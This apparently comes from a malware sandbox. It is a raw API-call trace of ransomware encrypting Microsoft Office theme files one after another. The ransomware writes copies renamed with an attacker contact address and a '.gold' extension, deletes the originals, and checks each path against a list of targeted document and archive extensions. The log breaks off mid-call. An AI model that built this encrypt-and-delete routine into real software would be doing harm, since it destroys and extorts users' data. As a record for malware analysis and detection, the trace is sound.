[0096.502] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\paper.eftx")) returned 0x20 [0096.503] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\paper.eftx.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0096.503] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\paper.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0096.503] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.503] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.503] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\paper.eftx.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0096.503] GetLastError () returned 0x0 [0096.503] ReadFile (in: hFile=0x3ac, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x37d8a, lpOverlapped=0x0) returned 1 [0096.508] WriteFile (in: hFile=0x3a4, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0x37d90, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0x37d90, lpOverlapped=0x0) returned 1 [0096.511] ReadFile (in: hFile=0x3ac, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x0, lpOverlapped=0x0) returned 1 [0096.511] WriteFile (in: hFile=0x3a4, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0096.511] SetEndOfFile (hFile=0x3a4) returned 1 [0096.511] CloseHandle (hObject=0x3a4) returned 1 [0096.512] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.512] SetEndOfFile (hFile=0x3ac) returned 1 [0096.515] CloseHandle (hObject=0x3ac) returned 1 [0096.516] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0096.516] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\paper.eftx")) returned 1 [0096.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx") returned 77 [0096.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx") returned 77 [0096.516] lstrlenW (lpString=".doc") returned 4 [0096.516] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0096.516] lstrlenW (lpString=".docx") returned 5 [0096.516] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0096.516] lstrlenW (lpString=".pdf") returned 4 [0096.516] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0096.516] lstrlenW (lpString=".xls") returned 4 [0096.516] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0096.516] lstrlenW (lpString=".xlsx") returned 5 [0096.516] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0096.516] lstrlenW (lpString=".ppt") returned 4 [0096.517] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0096.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx") returned 77 [0096.517] lstrlenW (lpString=".zip") returned 4 [0096.517] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0096.517] lstrlenW (lpString=".rar") returned 4 [0096.517] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0096.517] lstrlenW (lpString=".bz2") returned 4 [0096.517] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0096.517] lstrlenW (lpString=".7z") returned 3 [0096.517] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0096.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx") returned 77 [0096.517] lstrlenW (lpString=".dbf") returned 4 [0096.517] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0096.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx") returned 77 [0096.517] lstrlenW (lpString=".1cd") returned 4 [0096.517] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0096.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx") returned 77 [0096.517] lstrlenW (lpString=".jpg") returned 4 [0096.517] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0096.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx") returned 77 [0096.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx") returned 77 [0096.517] lstrlenW (lpString=".doc") returned 4 [0096.517] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0096.517] lstrlenW (lpString=".docx") returned 5 [0096.517] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0096.517] lstrlenW (lpString=".pdf") returned 4 [0096.517] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0096.517] lstrlenW (lpString=".xls") returned 4 [0096.517] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0096.517] lstrlenW (lpString=".xlsx") returned 5 [0096.517] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0096.517] lstrlenW (lpString=".ppt") returned 4 [0096.517] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0096.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx") returned 77 [0096.517] lstrlenW (lpString=".zip") returned 4 [0096.517] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0096.517] lstrlenW (lpString=".rar") returned 4 [0096.517] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0096.517] lstrlenW (lpString=".bz2") returned 4 [0096.517] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0096.517] lstrlenW (lpString=".7z") returned 3 [0096.517] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0096.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx") returned 77 [0096.517] lstrlenW (lpString=".dbf") returned 4 [0096.518] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0096.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx") returned 77 [0096.518] lstrlenW (lpString=".1cd") returned 4 [0096.518] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0096.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx") returned 77 [0096.518] lstrlenW (lpString=".jpg") returned 4 [0096.518] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0096.518] lstrcmpiW (lpString1=".eftx", lpString2=".gold") returned -1 [0096.518] lstrlenW (lpString="Perspective.eftx") returned 16 [0096.518] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\perspective.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0096.519] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=21423) returned 1 [0096.519] CloseHandle (hObject=0x3ac) returned 1 [0096.519] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\perspective.eftx")) returned 0x20 [0096.519] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\perspective.eftx.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0096.519] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\perspective.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0096.519] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.519] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.519] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\perspective.eftx.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0096.520] GetLastError () returned 0x0 [0096.520] ReadFile (in: hFile=0x3ac, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x53af, lpOverlapped=0x0) returned 1 [0096.794] WriteFile (in: hFile=0x3a4, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0x53b0, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0x53b0, lpOverlapped=0x0) returned 1 [0096.794] ReadFile (in: hFile=0x3ac, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x0, lpOverlapped=0x0) returned 1 [0096.794] WriteFile (in: hFile=0x3a4, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0xf4, lpOverlapped=0x0) returned 1 [0096.795] SetEndOfFile (hFile=0x3a4) returned 1 [0096.795] CloseHandle (hObject=0x3a4) returned 1 [0096.795] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.795] SetEndOfFile (hFile=0x3ac) returned 1 [0096.797] CloseHandle (hObject=0x3ac) returned 1 [0096.797] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0096.816] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\perspective.eftx")) returned 1 [0096.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx") returned 83 [0096.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx") returned 83 [0096.817] lstrlenW (lpString=".doc") returned 4 [0096.817] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0096.817] lstrlenW (lpString=".docx") returned 5 [0096.817] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0096.817] lstrlenW (lpString=".pdf") returned 4 [0096.817] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0096.817] lstrlenW (lpString=".xls") returned 4 [0096.817] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0096.817] lstrlenW (lpString=".xlsx") returned 5 [0096.817] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0096.817] lstrlenW (lpString=".ppt") returned 4 [0096.817] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0096.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx") returned 83 [0096.817] lstrlenW (lpString=".zip") returned 4 [0096.817] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0096.817] lstrlenW (lpString=".rar") returned 4 [0096.817] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0096.817] lstrlenW (lpString=".bz2") returned 4 [0096.817] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0096.817] lstrlenW (lpString=".7z") returned 3 [0096.817] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0096.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx") returned 83 [0096.817] lstrlenW (lpString=".dbf") returned 4 [0096.817] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0096.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx") returned 83 [0096.817] lstrlenW (lpString=".1cd") returned 4 [0096.817] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0096.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx") returned 83 [0096.818] lstrlenW (lpString=".jpg") returned 4 [0096.818] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0096.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx") returned 83 [0096.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx") returned 83 [0096.818] lstrlenW (lpString=".doc") returned 4 [0096.818] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0096.818] lstrlenW (lpString=".docx") returned 5 [0096.818] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0096.818] lstrlenW (lpString=".pdf") returned 4 [0096.818] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0096.818] lstrlenW (lpString=".xls") returned 4 [0096.818] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0096.818] lstrlenW (lpString=".xlsx") returned 5 [0096.818] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0096.818] lstrlenW (lpString=".ppt") returned 4 [0096.818] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0096.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx") returned 83 [0096.818] lstrlenW (lpString=".zip") returned 4 [0096.818] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0096.818] lstrlenW (lpString=".rar") returned 4 [0096.818] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0096.818] lstrlenW (lpString=".bz2") returned 4 [0096.818] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0096.818] lstrlenW (lpString=".7z") returned 3 [0096.818] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0096.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx") returned 83 [0096.818] lstrlenW (lpString=".dbf") returned 4 [0096.818] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0096.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx") returned 83 [0096.818] lstrlenW (lpString=".1cd") returned 4 [0096.818] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0096.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx") returned 83 [0096.818] lstrlenW (lpString=".jpg") returned 4 [0096.818] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0096.818] lstrcmpiW (lpString1=".eftx", lpString2=".gold") returned -1 [0096.818] lstrlenW (lpString="Verve.eftx") returned 10 [0096.818] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\verve.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0096.820] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=31224) returned 1 [0096.820] CloseHandle (hObject=0x3ac) returned 1 [0096.820] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\verve.eftx")) returned 0x20 [0096.820] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\verve.eftx.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0096.820] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\verve.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0096.820] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.820] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.820] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\verve.eftx.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0096.821] GetLastError () returned 0x0 [0096.821] ReadFile (in: hFile=0x3ac, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x79f8, lpOverlapped=0x0) returned 1 [0096.824] WriteFile (in: hFile=0x3a4, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0x7a00, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0x7a00, lpOverlapped=0x0) returned 1 [0096.833] ReadFile (in: hFile=0x3ac, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x0, lpOverlapped=0x0) returned 1 [0096.833] WriteFile (in: hFile=0x3a4, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0096.833] SetEndOfFile (hFile=0x3a4) returned 1 [0096.833] CloseHandle (hObject=0x3a4) returned 1 [0096.833] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.833] SetEndOfFile (hFile=0x3ac) returned 1 [0096.835] CloseHandle (hObject=0x3ac) returned 1 [0096.835] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0096.836] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\verve.eftx")) returned 1 [0096.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx") returned 77 [0096.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx") returned 77 [0096.836] lstrlenW (lpString=".doc") returned 4 [0096.836] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0096.836] lstrlenW (lpString=".docx") returned 5 [0096.836] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0096.836] lstrlenW (lpString=".pdf") returned 4 [0096.836] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0096.836] lstrlenW (lpString=".xls") returned 4 [0096.836] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0096.836] lstrlenW (lpString=".xlsx") returned 5 [0096.836] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0096.836] lstrlenW (lpString=".ppt") returned 4 [0096.836] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0096.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx") returned 77 [0096.836] lstrlenW (lpString=".zip") returned 4 [0096.836] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0096.836] lstrlenW (lpString=".rar") returned 4 [0096.836] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0096.836] lstrlenW (lpString=".bz2") returned 4 [0096.836] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0096.836] lstrlenW (lpString=".7z") returned 3 [0096.836] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0096.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx") returned 77 [0096.836] lstrlenW (lpString=".dbf") returned 4 [0096.837] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0096.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx") returned 77 [0096.837] lstrlenW (lpString=".1cd") returned 4 [0096.837] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0096.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx") returned 77 [0096.837] lstrlenW (lpString=".jpg") returned 4 [0096.837] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0096.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx") returned 77 [0096.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx") returned 77 [0096.837] lstrlenW (lpString=".doc") returned 4 [0096.837] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0096.837] lstrlenW (lpString=".docx") returned 5 [0096.837] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0096.837] lstrlenW (lpString=".pdf") returned 4 [0096.837] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0096.837] lstrlenW (lpString=".xls") returned 4 [0096.837] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0096.837] lstrlenW (lpString=".xlsx") returned 5 [0096.837] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0096.837] lstrlenW (lpString=".ppt") returned 4 [0096.837] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0096.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx") returned 77 [0096.837] lstrlenW (lpString=".zip") returned 4 [0096.837] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0096.837] lstrlenW (lpString=".rar") returned 4 [0096.837] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0096.837] lstrlenW (lpString=".bz2") returned 4 [0096.837] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0096.837] lstrlenW (lpString=".7z") returned 3 [0096.837] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0096.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx") returned 77 [0096.837] lstrlenW (lpString=".dbf") returned 4 [0096.837] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0096.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx") returned 77 [0096.837] lstrlenW (lpString=".1cd") returned 4 [0096.837] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0096.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx") returned 77 [0096.837] lstrlenW (lpString=".jpg") returned 4 [0096.837] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0096.837] lstrcmpiW (lpString1=".eftx", lpString2=".gold") returned -1 [0096.837] lstrlenW (lpString="Waveform.eftx") returned 13 [0096.837] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\waveform.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0096.838] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=112504) returned 1 [0096.838] CloseHandle (hObject=0x3ac) returned 1 [0096.838] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\waveform.eftx")) returned 0x20 [0096.839] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\waveform.eftx.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0096.839] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\waveform.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0096.839] SetFilePointerEx (in: 